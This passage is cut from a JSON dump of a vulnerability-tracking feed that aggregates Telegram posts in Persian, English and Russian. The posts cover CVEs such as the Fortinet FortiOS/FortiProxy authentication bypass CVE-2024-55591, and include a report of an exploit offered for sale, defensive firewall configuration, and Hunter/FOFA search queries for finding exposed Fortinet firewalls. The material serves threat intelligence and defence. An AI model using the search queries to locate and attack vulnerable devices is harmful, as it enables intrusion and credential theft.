Socradar \u06cc\u06a9 \u067e\u0633\u062a \u0648\u0628 \u062a\u0627\u0631\u06cc\u06a9 \u0631\u0627 \u0634\u0646\u0627\u0633\u0627\u06cc\u06cc \u06a9\u0631\u062f\u0647 \u0627\u0633\u062a \u06a9\u0647 \u06cc\u06a9 \u0627\u06a9\u0633\u067e\u0644\u0648\u06cc\u062a \u0628\u0631\u0627\u06cc\u00a0CVE-2024-55591\u00a0(CVSS 9.8)\u060c \u06cc\u06a9 \u062f\u0648\u0631 \u0632\u062f\u0646 \u0627\u062d\u0631\u0627\u0632 \u0647\u0648\u06cc\u062a \u0634\u0646\u0627\u062e\u062a\u0647 \u0634\u062f\u0647 \u0627\u0631\u0627\u0626\u0647 \u0645\u06cc \u062f\u0647\u062f. \u0622\u0633\u06cc\u0628 \u067e\u0630\u06cc\u0631\u06cc \u062f\u0631 Fortinet Fortios \u0648 Fortiproxy. \n\u0638\u0627\u0647\u0631\u0627\u064b \u0627\u06cc\u0646 \u067e\u0633\u062a \u06cc\u06a9 \u0627\u0633\u06a9\u0631\u06cc\u067e\u062a \u0628\u0647\u0631\u0647 \u0628\u0631\u062f\u0627\u0631\u06cc \u0627\u0646\u0628\u0648\u0647 \u0631\u0627 \u062a\u0648\u0635\u06cc\u0641 \u0645\u06cc \u06a9\u0646\u062f \u06a9\u0647 \u0645\u06cc \u062a\u0648\u0627\u0646\u062f \u0627\u0639\u062a\u0628\u0627\u0631\u0646\u0627\u0645\u0647 \u0647\u0627\u06cc VPN \u0648 LDAP\u060c \u067e\u0648\u0631\u062a \u0647\u0627\u06cc VPN\u060c \u0646\u0627\u0645 \u062f\u0627\u0645\u0646\u0647 \u0648 \u0627\u0637\u0644\u0627\u0639\u0627\u062a \u0633\u0631\u0648\u0631 DNS \u0631\u0627 \u0627\u0632 \u0633\u06cc\u0633\u062a\u0645 \u0647\u0627\u06cc \u0622\u0633\u06cc\u0628 \u067e\u0630\u06cc\u0631 \u0627\u0633\u062a\u062e\u0631\u0627\u062c \u06a9\u0646\u062f.\n \u0628\u0647 \u06af\u0641\u062a\u0647 The Threat Actor\u060c \u0627\u06cc\u0646 \u0627\u06a9\u0633\u067e\u0644\u0648\u06cc\u062a \u062a\u0623\u062b\u06cc\u0631 \u0645\u06cc \u06af\u0630\u0627\u0631\u062f: FortiOS \u0646\u0633\u062e\u0647 \u0647\u0627\u06cc 7.0.0 \u2013 7.0.16 FortiProxy \u0646\u0633\u062e\u0647 \u0647\u0627\u06cc 7.0.0 \u2013 7.0.19 \u0648 7.2.0 \u2013 7.2.12 \u0627\u06cc\u0646 \u0627\u0628\u0632\u0627\u0631 \u0627\u06cc\u0646 \u0627\u0628\u0632\u0627\u0631 \u0627\u0633\u062a. \n\u0638\u0627\u0647\u0631\u0627\u064b \u0686\u0646\u062f \u0631\u0634\u062a\u0647 \u0627\u06cc \u0627\u0633\u062a \u06a9\u0647 \u0628\u0633\u062a\u0647 \u0628\u0647 \u0638\u0631\u0641\u06cc\u062a \u0633\u0631\u0648\u0631 \u0642\u0627\u062f\u0631 \u0628\u0647 \u0627\u0633\u06a9\u0646 \u0628\u06cc\u0646 50 \u062a\u0627 1000 \u0622\u062f\u0631\u0633 IP \u0627\u0633\u062a. \u0627\u06cc\u0646 \u0628\u0627\u0632\u06cc\u06af\u0631 \u0647\u0645\u0686\u0646\u06cc\u0646 \u0627\u062f\u0639\u0627 \u0645\u06cc \u06a9\u0646\u062f \u06a9\u0647 \u0633\u06cc\u0633\u062a\u0645 \u0647\u0627\u06cc \u062a\u0627\u0632\u0647 \u0645\u0633\u062a\u0642\u0631 \u0634\u062f\u0647 \u0628\u0627 \u0646\u0633\u062e\u0647 \u0647\u0627\u06cc \u0628\u062f\u0648\u0646 \u0648\u0635\u0644\u0647 \u0628\u0647 \u0637\u0648\u0631 \u0645\u0646\u0638\u0645 \u0638\u0627\u0647\u0631 \u0645\u06cc \u0634\u0648\u0646\u062f. \u0638\u0627\u0647\u0631\u0627\u064b \u0627\u06cc\u0646 \u0628\u0633\u062a\u0647 \u0634\u0627\u0645\u0644 \u062f\u0633\u062a\u0648\u0631\u0627\u0644\u0639\u0645\u0644\u200c\u0647\u0627\u06cc \u062f\u0642\u06cc\u0642 \u0627\u0633\u062a \u0648 \u0642\u06cc\u0645\u062a \u0622\u0646 2500 \u062f\u0644\u0627\u0631 \u0627\u0633\u062a \u0648 \u062a\u0646\u0647\u0627 \u062f\u0648 \u0646\u0633\u062e\u0647 \u0628\u0631\u0627\u06cc \u0641\u0631\u0648\u0634 \u062f\u0627\u0631\u062f.\n\u062a\u0648\u0635\u06cc\u0647: \u0622\u067e\u062f\u06cc\u062a \u0633\u0631\u06cc\u0639\n\n\ud83c\udfed \u0648\u0628\u0633\u0627\u06cc\u062a \u0648 \u06a9\u0627\u0646\u0627\u0644 \u062a\u062e\u0635\u0635\u06cc \u0627\u0645\u0646\u06cc\u062a \u0632\u06cc\u0631\u0633\u0627\u062e\u062a\u0647\u0627\u06cc \u0627\u062a\u0648\u0645\u0627\u0633\u06cc\u0648\u0646 \u0648 \u06a9\u0646\u062a\u0631\u0644 \u0635\u0646\u0639\u062a\u06cc\n\u0627\u062f\u0645\u06cc\u0646:\n\u200fhttps://t.me/pedram_kiani\n\u06a9\u0627\u0646\u0627\u0644 \u062a\u0644\u06af\u0631\u0627\u0645:\nhttps://t.me/ics_cert\n\u06af\u0631\u0648\u0647 \u062a\u0644\u06af\u0631\u0627\u0645:\nhttps://t.me/ICSCERT_IR\n\u06af\u0631\u0648\u0647 \u0627\u06cc\u062a\u0627:\nhttps://eitaa.com/joinchat/1866007784Cfd023f90b2", "creation_timestamp": "2025-07-10T17:23:53.000000Z"}, {"uuid": "9f1d940f-3393-4d4c-b765-2b3cd36a5d9f", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-55591", "type": "published-proof-of-concept", "source": "https://t.me/ics_cert/998", "content": "\u06cc\u06a9 \u0622\u0633\u06cc\u0628\u200c\u067e\u0630\u06cc\u0631\u06cc \u062f\u0631 \u0645\u0627\u0698\u0648\u0644 WebSocket Node.js \u0633\u06cc\u0633\u062a\u0645\u200c\u0639\u0627\u0645\u0644 FortiOS \u0648 \u0633\u0631\u0648\u0631 \u067e\u0631\u0627\u06a9\u0633\u06cc \u0628\u0631\u0627\u06cc \u0645\u062d\u0627\u0641\u0638\u062a \u062f\u0631 \u0628\u0631\u0627\u0628\u0631 \u062d\u0645\u0644\u0627\u062a \u0627\u06cc\u0646\u062a\u0631\u0646\u062a\u06cc FortiProxy \u0628\u0627 \u062f\u0648\u0631 \u0632\u062f\u0646 \u0631\u0648\u0634 \u0627\u062d\u0631\u0627\u0632 \u0647\u0648\u06cc\u062a \u0627\u0632 \u0637\u0631\u06cc\u0642 \u0627\u0633\u062a\u0641\u0627\u062f\u0647 \u0627\u0632 \u06cc\u06a9 \u0645\u0633\u06cc\u0631 \u06cc\u0627 \u06a9\u0627\u0646\u0627\u0644 \u062c\u0627\u06cc\u06af\u0632\u06cc\u0646 \u0645\u0631\u062a\u0628\u0637 \u0627\u0633\u062a.  \u0633\u0648\u0621 \u0627\u0633\u062a\u0641\u0627\u062f\u0647 \u0627\u0632 \u0627\u06cc\u0646 \u0622\u0633\u06cc\u0628\u200c\u067e\u0630\u06cc\u0631\u06cc \u0645\u06cc\u200c\u062a\u0648\u0627\u0646\u062f \u0628\u0647 \u0645\u0647\u0627\u062c\u0645 \u0631\u0627\u0647 \u062f\u0648\u0631 \u0627\u062c\u0627\u0632\u0647 \u062f\u0647\u062f \u062a\u0627 \u0628\u0627 \u0627\u0631\u0633\u0627\u0644 \u062f\u0631\u062e\u0648\u0627\u0633\u062a\u200c\u0647\u0627\u06cc HTTP \u0633\u0627\u062e\u062a\u0647\u200c\u0634\u062f\u0647\u060c \u0627\u0645\u062a\u06cc\u0627\u0632\u0627\u062a \u062e\u0648\u062f \u0631\u0627 \u0628\u0647 \u00ab\u0627\u0628\u0631 \u0645\u062f\u06cc\u0631\u00bb \u0627\u0641\u0632\u0627\u06cc\u0634 \u062f\u0647\u062f.\n\n BDU: 2025-00281\n CVE-2024-55591\n\n \u0646\u0635\u0628 \u0628\u0647 \u0631\u0648\u0632 \u0631\u0633\u0627\u0646\u06cc \u0627\u0632 \u0645\u0646\u0627\u0628\u0639 \u0642\u0627\u0628\u0644 \u0627\u0639\u062a\u0645\u0627\u062f  \u062a\u0648\u0635\u06cc\u0647 \u0645\u06cc \u0634\u0648\u062f \u0628\u0647 \u0631\u0648\u0632 \u0631\u0633\u0627\u0646\u06cc \u0646\u0631\u0645 \u0627\u0641\u0632\u0627\u0631 \u0631\u0627 \u062a\u0646\u0647\u0627 \u067e\u0633 \u0627\u0632 \u0627\u0631\u0632\u06cc\u0627\u0628\u06cc \u062a\u0645\u0627\u0645 \u062e\u0637\u0631\u0627\u062a \u0645\u0631\u062a\u0628\u0637 \u0646\u0635\u0628 \u06a9\u0646\u06cc\u062f.\n\n \u0627\u0642\u062f\u0627\u0645\u0627\u062a \u062c\u0628\u0631\u0627\u0646\u06cc:\n - \u063a\u06cc\u0631\u0641\u0639\u0627\u0644 \u06a9\u0631\u062f\u0646 \u0631\u0627\u0628\u0637 \u0645\u062f\u06cc\u0631\u06cc\u062a \u0648\u0628 \u06cc\u0627 \u0645\u062d\u062f\u0648\u062f \u06a9\u0631\u062f\u0646 \u062f\u0633\u062a\u0631\u0633\u06cc \u0628\u0647 \u0622\u0646 \u0628\u0627 \u0627\u0633\u062a\u0641\u0627\u062f\u0647 \u0627\u0632 \u0633\u06cc\u0627\u0633\u062a \u0647\u0627\u06cc \u0627\u0645\u0646\u06cc\u062a\u06cc \u0632\u06cc\u0631:\n\n\nConfig firewall address\nedit \"my_allowed_addresses\"\nset subnet\nend\n\nconfig firewall addrgrp\nedit \"MGMT_IPs\"\nset member \"my_allowed_addresses\"\nend\n\nconfig firewall local-in-policy\nedit 1\nset intf port1\nset srcaddr \"MGMT_IPs\"\nset dstaddr \"all\"\nset action accept\nset set service HTTPS HTTP\nset schedule \"always\"\nset status enable\nnext\nedit 2\nset intf \"all\"\nset srcaddr \"all\"\nset dstaddr \"all\"\nset action deny\nset service HTTPS HTTP\nset schedule \"always\"\nset status enable\nend\n\n \u0627\u06af\u0631 \u0633\u0631\u0648\u06cc\u0633 \u0645\u062f\u06cc\u0631\u06cc\u062a \u0631\u0627\u0628\u0637 \u06af\u0631\u0627\u0641\u06cc\u06a9\u06cc \u0631\u0648\u06cc \u067e\u0648\u0631\u062a \u0647\u0627\u06cc\u06cc \u063a\u06cc\u0631 \u0627\u0632 \u0627\u0633\u062a\u0627\u0646\u062f\u0627\u0631\u062f \u0627\u062c\u0631\u0627 \u0645\u06cc \u0634\u0648\u062f\u060c \u0628\u0627\u06cc\u062f \u0627\u0634\u06cc\u0627\u0621 \u0632\u06cc\u0631 \u0631\u0627 \u0627\u06cc\u062c\u0627\u062f \u06a9\u0646\u06cc\u062f:\n\nconfig firewall service custom\nedit GUI_HTTPS\nset tcp-portrange 443\nnext\n\nedit GUI_HTTP\nset tcp-portrange 80\nend\n - \u0627\u0633\u062a\u0641\u0627\u062f\u0647 \u0627\u0632 \u0633\u06cc\u0633\u062a\u0645 \u0647\u0627\u06cc \u062a\u0634\u062e\u06cc\u0635 \u0646\u0641\u0648\u0630 \u0648 \u067e\u06cc\u0634\u06af\u06cc\u0631\u06cc (IDS/IPS) \u0628\u0631\u0627\u06cc \u0646\u0638\u0627\u0631\u062a \u0628\u0631 \u0634\u0627\u062e\u0635 \u0647\u0627\u06cc \u0633\u0627\u0632\u0634 \u0628\u0631\u0627\u06cc \u062a\u0644\u0627\u0634 \u0628\u0631\u0627\u06cc \u0633\u0648\u0621 \u0627\u0633\u062a\u0641\u0627\u062f\u0647 \u0627\u0632 \u0622\u0633\u06cc\u0628 \u067e\u0630\u06cc\u0631\u06cc \u0647\u0627.\n\n \u0627\u0633\u062a\u0641\u0627\u062f\u0647 \u0627\u0632 \u062a\u0648\u0635\u06cc\u0647 \u0647\u0627\u06cc \u0633\u0627\u0632\u0646\u062f\u0647:\n https://fortiguard.fortinet.com/psirt/FG-IR-24-535\n\n\n\ud83d\udc48 \u0646\u0638\u0631\u0627\u062a \u0648 \u062a\u062c\u0631\u0628\u06cc\u0627\u062a \u0634\u0645\u0627 \u0627\u0631\u0632\u0634\u0645\u0646\u062f \u0627\u0633\u062a - \u0644\u0637\u0641\u0627 \u0622\u0646\u0631\u0627 \u0628\u0647 \u0627\u0634\u062a\u0631\u0627\u06a9 \u0628\u06af\u0630\u0627\u0631\u06cc\u062f. \n\ud83c\udfed \u0648\u0628\u0633\u0627\u06cc\u062a \u0648 \u06a9\u0627\u0646\u0627\u0644 \u062a\u062e\u0635\u0635\u06cc \u0627\u0645\u0646\u06cc\u062a \u0632\u06cc\u0631\u0633\u0627\u062e\u062a\u0647\u0627\u06cc \u0627\u062a\u0648\u0645\u0627\u0633\u06cc\u0648\u0646 \u0648 \u06a9\u0646\u062a\u0631\u0644 \u0635\u0646\u0639\u062a\u06cc\n\ud83d\udc6e\ud83c\udffd\u200d\u2640\ufe0f\u0647\u0631\u06af\u0648\u0646\u0647 \u0627\u0646\u062a\u0634\u0627\u0631 \u0648 \u0630\u06a9\u0631 \u0645\u0637\u0627\u0644\u0628 \u0628\u062f\u0648\u0646 \u0630\u06a9\u0631 \u062f\u0642\u06cc\u0642 \u0645\u0646\u0628\u0639 \u0648 \u0622\u062f\u0631\u0633 \u0644\u06cc\u0646\u06a9 \u0622\u0646 \u0645\u0645\u0646\u0648\u0639 \u0627\u0633\u062a. \n\u0627\u062f\u0645\u06cc\u0646:\n\u200fhttps://t.me/pedram_kiani\n\u06a9\u0627\u0646\u0627\u0644 \u062a\u0644\u06af\u0631\u0627\u0645:\nhttps://t.me/ics_cert\n\u06af\u0631\u0648\u0647 \u0648\u0627\u062a\u0633 \u0622\u067e :\nhttps://chat.whatsapp.com/FpB620AWEeSKvd8U6cFh33", "creation_timestamp": "2025-01-21T16:37:44.000000Z"}, {"uuid": "f2b3cf06-8320-483e-b820-3e4535cd9be5", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-55661", "type": "seen", "source": "Telegram/bwVzUQfKSxu5nCl33CD_LUzO1KudwUst0NGX-dgwqjNGVZk", "content": "", "creation_timestamp": "2025-09-10T11:52:35.000000Z"}, {"uuid": "4befdb8a-cd88-41a3-a70b-ff1f52e47188", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-55661", "type": "seen", "source": "Telegram/qnVR2SX41ef1kt-yWW971_--D-c1QbD0TjF0HQIOIn_BSoof", "content": "", "creation_timestamp": "2025-09-10T11:52:34.000000Z"}, {"uuid": "cd5e2166-c52c-446e-8351-e7425416a8b7", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-55661", "type": "published-proof-of-concept", "source": "Telegram/t1LhqdJOG1EFy6jlM73bhz_qlF1T-sLBuRLYxQFOHpc1fDqB", "content": "", "creation_timestamp": "2025-09-10T09:39:10.000000Z"}, {"uuid": "f1c1bf12-07cd-4e1c-98d4-4900007f9163", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-55661", "type": "seen", "source": "Telegram/Ej67y3-U2qHOzlICcSBmxU5ToM5GicFe3MyQPrVdZemdOpk", "content": "", "creation_timestamp": "2025-09-11T00:11:52.000000Z"}, {"uuid": "bcda5fa2-32e8-4cc5-8027-9e0bcc902447", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-55661", "type": "published-proof-of-concept", "source": "Telegram/lVThFqOS_-THLS2nDZbOqeID9ULvGm_dMtchXCk4uxGtisKK", "content": "", "creation_timestamp": "2025-09-10T00:16:41.000000Z"}, {"uuid": "de98cf6c-c706-4353-81a2-bd9a7a77d5f1", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-55661", "type": "seen", "source": "Telegram/yPqQ91miaB-2D89EM1FeuaCQM9WzAEZThEuC_Ossz7SbN555", "content": "", "creation_timestamp": "2025-09-11T00:11:51.000000Z"}, {"uuid": "69a91563-7fdf-4ce2-bdd7-7a0ef85c32b2", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-55550", "type": "exploited", "source": "https://t.me/CyberBulletin/2008", "content": "\u26a1\ufe0fCISA has flagged 3 actively exploited vulnerabilities\u2014two in Mitel MiCollab and one in Oracle WebLogic Server.\n\n\u2937 CVE-2024-41713: Remote access via path traversal.\n\u2937 CVE-2024-55550: Exploited by attackers with admin privileges.\n\u2937 CVE-2020-2883: A high-severity vulnerability in Oracle WebLogic with known exploits.\n\n#CyberBulletin", "creation_timestamp": "2025-01-08T15:44:05.000000Z"}, {"uuid": "bbb57e5f-d146-43ab-9f00-7b686be8c3fe", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-55062", "type": "seen", "source": "https://t.me/cvedetector/16984", "content": "{\n  \"Source\": \"CVE FEED\",\n  \"Title\": \"CVE-2024-55062 - EasyVirt DCScope Command Injection Vulnerability\", \n  \"Content\": \"CVE ID : CVE-2024-55062 \nPublished : Jan. 31, 2025, 10:15 p.m. | 1\u00a0hour, 58\u00a0minutes ago \nDescription : EasyVirt DCScope 8.6.0 and earlier and co2Scope 1.3.0 and earlier are vulnerable to Command injection. \nSeverity: 0.0 | NA \nVisit the link for more details, such as CVSS details, affected products, timeline, and more...\",\n  \"Detection Date\": \"01 Feb 2025\",\n  \"Type\": \"Vulnerability\"\n}\n\ud83d\udd39 t.me/cvedetector \ud83d\udd39", "creation_timestamp": "2025-02-01T01:25:40.000000Z"}, {"uuid": "5896321e-38a6-40d5-bb62-62001d9d7b2c", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-55591", "type": "published-proof-of-concept", "source": "https://t.me/cybersecplayground/40", "content": "\u26a0\ufe0f Alert\n\nCVE-2024-55591 : Zero-Day Vulnerability in Attacks on Fortinet Firewalls with Exposed Interfaces\n\n\n\ud83d\udd17Hunter Link:hunter.how/list?searchVal\u2026\n\n\ud83d\udc47Query\n\nHUNTER :product.name=\"Fortinet Firewall\"\n\nFOFA : product=\"FORTINET-Firewall\"\n\n\ud83d\udcf0Refer:securityonline.info/active-exploit\u2026\n\n#FORTINET #hunterhow #infosec #infosecurity #OSINT #fofa #Vulnerability #zeroday", "creation_timestamp": "2025-01-16T17:23:46.000000Z"}, {"uuid": "3034fc60-5a08-419b-98b4-d292b8303de5", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-55591", "type": "published-proof-of-concept", "source": "https://t.me/cybersecplayground/68", "content": "\ud83d\udea8CVE-2024-55591: Fortinet FortiOS Authentication Bypass Proof of Concept\n\n\ud83d\udd17: https://github.com/watchtowrlabs...", "creation_timestamp": "2025-01-28T16:59:55.000000Z"}, {"uuid": "8ad129e8-1acb-4e8d-b1dd-f5b82092f513", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-55555", "type": "published-proof-of-concept", "source": "Telegram/kPRwdse26OL24RRCXFgr-20UFoPAircdPCmhtViT2fQDNms", "content": "", "creation_timestamp": "2025-08-01T03:00:05.000000Z"}, {"uuid": "71a55914-8a12-4859-a945-0d3d5868a41a", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-55555", "type": "published-proof-of-concept", "source": "Telegram/y7-RpDrmSuXhLcSTuW0R9_s09Quezx-GrdrSmzgmffhhoeQ", "content": "", "creation_timestamp": "2025-08-01T03:00:09.000000Z"}, {"uuid": "7db5132c-1801-4d28-9305-3d8002d5ca04", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-55577", "type": "seen", "source": "https://t.me/cvedetector/15407", "content": "{\n  \"Source\": \"CVE FEED\",\n  \"Title\": \"CVE-2024-55577 - Linux Ratfor Buffer Overflow Vulnerability\", \n  \"Content\": \"CVE ID : CVE-2024-55577 \nPublished : Jan. 15, 2025, 6:15 a.m. | 43\u00a0minutes ago \nDescription : Stack-based buffer overflow vulnerability exists in Linux Ratfor 1.06 and earlier. When the software processes a file which is specially crafted by an attacker, arbitrary code may be executed. As a result, the attacker may obtain or alter information of the user environment or cause the user environment to become unusable. \nSeverity: 7.0 | HIGH \nVisit the link for more details, such as CVSS details, affected products, timeline, and more...\",\n  \"Detection Date\": \"15 Jan 2025\",\n  \"Type\": \"Vulnerability\"\n}\n\ud83d\udd39 t.me/cvedetector \ud83d\udd39", "creation_timestamp": "2025-01-15T08:25:03.000000Z"}, {"uuid": "ce0119a9-d4c9-4f39-9f16-6d54caed4720", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-55963", "type": "published-proof-of-concept", "source": "https://t.me/P0x3k_1N73LL1G3NC3/53", "content": "CVE-2024-55963: Unauthenticated RCE in Default-Install of Appsmith\n\nBlog: https://rhinosecuritylabs.com/research/cve-2024-55963-unauthenticated-rce-in-appsmith/", "creation_timestamp": "2025-03-26T04:51:22.000000Z"}, {"uuid": "0771e7f6-3994-4a43-88f2-b89ea609012a", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-55550", "type": "exploited", "source": "https://t.me/true_secator/7265", "content": "Mitel Networks \u043f\u0440\u0435\u0434\u0443\u043f\u0440\u0435\u0436\u0434\u0430\u0435\u0442 \u043e \u043a\u0440\u0438\u0442\u0438\u0447\u0435\u0441\u043a\u043e\u0439 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0438 \u043e\u0431\u0445\u043e\u0434\u0430 \u0430\u0443\u0442\u0435\u043d\u0442\u0438\u0444\u0438\u043a\u0430\u0446\u0438\u0438, \u0437\u0430\u0442\u0440\u0430\u0433\u0438\u0432\u0430\u044e\u0449\u0443\u044e \u0435\u0435 \u043a\u043e\u0440\u043f\u043e\u0440\u0430\u0442\u0438\u0432\u043d\u0443\u044e \u043a\u043e\u043c\u043c\u0443\u043d\u0438\u043a\u0430\u0446\u0438\u043e\u043d\u043d\u0443\u044e \u043f\u043b\u0430\u0442\u0444\u043e\u0440\u043c\u0443 MiVoice MX-ONE.\n\nMX-ONE - \u044d\u0442\u043e \u043a\u043e\u043c\u043c\u0443\u043d\u0438\u043a\u0430\u0446\u0438\u043e\u043d\u043d\u0430\u044f \u0441\u0438\u0441\u0442\u0435\u043c\u0430 \u043a\u043e\u043c\u043f\u0430\u043d\u0438\u0438 \u043d\u0430 \u0431\u0430\u0437\u0435 SIP, \u043a\u043e\u0442\u043e\u0440\u0430\u044f \u043c\u043e\u0436\u0435\u0442 \u043c\u0430\u0441\u0448\u0442\u0430\u0431\u0438\u0440\u043e\u0432\u0430\u0442\u044c\u0441\u044f \u0434\u043b\u044f \u043f\u043e\u0434\u0434\u0435\u0440\u0436\u043a\u0438 \u0441\u043e\u0442\u0435\u043d \u0442\u044b\u0441\u044f\u0447 \u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u0442\u0435\u043b\u0435\u0439.\n\n\u041a\u0440\u0438\u0442\u0438\u0447\u0435\u0441\u043a\u0430\u044f \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044c \u0441\u0432\u044f\u0437\u0430\u043d\u0430 \u0441 \u043d\u0435\u043d\u0430\u0434\u043b\u0435\u0436\u0430\u0449\u0438\u043c \u043a\u043e\u043d\u0442\u0440\u043e\u043b\u0435\u043c \u0434\u043e\u0441\u0442\u0443\u043f\u0430 \u0432 \u043a\u043e\u043c\u043f\u043e\u043d\u0435\u043d\u0442\u0435 MiVoice MX-ONE Provisioning Manager, \u0438 \u0435\u0439 \u043f\u043e\u043a\u0430 \u043d\u0435 \u043f\u0440\u0438\u0441\u0432\u043e\u0435\u043d \u0438\u0434\u0435\u043d\u0442\u0438\u0444\u0438\u043a\u0430\u0442\u043e\u0440 CVE.\n\n\u0417\u043b\u043e\u0443\u043c\u044b\u0448\u043b\u0435\u043d\u043d\u0438\u043a\u0438, \u043d\u0435 \u043f\u0440\u043e\u0448\u0435\u0434\u0448\u0438\u0435 \u0430\u0443\u0442\u0435\u043d\u0442\u0438\u0444\u0438\u043a\u0430\u0446\u0438\u044e, \u043c\u043e\u0433\u0443\u0442 \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u0442\u044c \u0435\u0451 \u0432 \u0430\u0442\u0430\u043a\u0430\u0445 \u043d\u0438\u0437\u043a\u043e\u0439 \u0441\u043b\u043e\u0436\u043d\u043e\u0441\u0442\u0438, \u043d\u0435 \u0442\u0440\u0435\u0431\u0443\u044e\u0449\u0438\u0445 \u0432\u0437\u0430\u0438\u043c\u043e\u0434\u0435\u0439\u0441\u0442\u0432\u0438\u044f \u0441 \u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u0442\u0435\u043b\u0435\u043c, \u0434\u043b\u044f \u043f\u043e\u043b\u0443\u0447\u0435\u043d\u0438\u044f \u043d\u0435\u0441\u0430\u043d\u043a\u0446\u0438\u043e\u043d\u0438\u0440\u043e\u0432\u0430\u043d\u043d\u043e\u0433\u043e \u0434\u043e\u0441\u0442\u0443\u043f\u0430 \u043a \u0443\u0447\u0451\u0442\u043d\u044b\u043c \u0437\u0430\u043f\u0438\u0441\u044f\u043c \u0430\u0434\u043c\u0438\u043d\u0438\u0441\u0442\u0440\u0430\u0442\u043e\u0440\u043e\u0432 \u0432 \u0441\u0438\u0441\u0442\u0435\u043c\u0430\u0445 \u0431\u0435\u0437 \u0443\u0441\u0442\u0430\u043d\u043e\u0432\u043b\u0435\u043d\u043d\u044b\u0445 \u043e\u0431\u043d\u043e\u0432\u043b\u0435\u043d\u0438\u0439.\n\n\u041f\u043e \u0434\u0430\u043d\u043d\u044b\u043c Mitel, \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044c \u0437\u0430\u0442\u0440\u0430\u0433\u0438\u0432\u0430\u0435\u0442 MiVoice MX-ONE, \u0440\u0430\u0431\u043e\u0442\u0430\u044e\u0449\u0438\u0435 \u043f\u043e\u0434 \u0443\u043f\u0440\u0430\u0432\u043b\u0435\u043d\u0438\u0435\u043c \u0432\u0435\u0440\u0441\u0438\u0439 7.3 (7.3.0.0.50) - 7.8 SP1 (7.8.1.0.14). \u0418\u0441\u043f\u0440\u0430\u0432\u043b\u0435\u043d\u0430 \u0432 \u0432\u0435\u0440\u0441\u0438\u044f\u0445 7.8 (MXO-15711_78SP0) \u0438 7.8 SP1 (MXO-15711_78SP1).\n\n\u041f\u043e\u0441\u0442\u0430\u0432\u0449\u0438\u043a \u0440\u0435\u043a\u043e\u043c\u0435\u043d\u0434\u0443\u0435\u0442 \u043d\u0435 \u043f\u0440\u0435\u0434\u043e\u0441\u0442\u0430\u0432\u043b\u044f\u0442\u044c \u0434\u043e\u0441\u0442\u0443\u043f \u043a \u0441\u0435\u0440\u0432\u0438\u0441\u0430\u043c MX-ONE \u043d\u0430\u043f\u0440\u044f\u043c\u0443\u044e \u0447\u0435\u0440\u0435\u0437 \u0438\u043d\u0442\u0435\u0440\u043d\u0435\u0442, \u0440\u0430\u0437\u0432\u043e\u0440\u0430\u0447\u0438\u0432\u0430\u0442\u044c \u0441\u0438\u0441\u0442\u0435\u043c\u0443 MX-ONE \u0438\u0441\u043a\u043b\u044e\u0447\u0438\u0442\u0435\u043b\u044c\u043d\u043e \u0432 \u0434\u043e\u0432\u0435\u0440\u0435\u043d\u043d\u043e\u0439 \u0441\u0435\u0442\u0438.\n\n\u0420\u0438\u0441\u043a\u0438 \u0442\u0430\u043a\u0436\u0435 \u043c\u043e\u0436\u043d\u043e \u0441\u043d\u0438\u0437\u0438\u0442\u044c, \u043e\u0433\u0440\u0430\u043d\u0438\u0447\u0438\u0432 \u0434\u043e\u0441\u0442\u0443\u043f \u043a \u0441\u0435\u0440\u0432\u0438\u0441\u0443 Provisioning Manager.\n\n\u041f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u0442\u0435\u043b\u044f\u043c MiVoice MX-ONE \u0432\u0435\u0440\u0441\u0438\u0438 7.3 \u0438 \u0431\u043e\u043b\u0435\u0435 \u043f\u043e\u0437\u0434\u043d\u0438\u0445 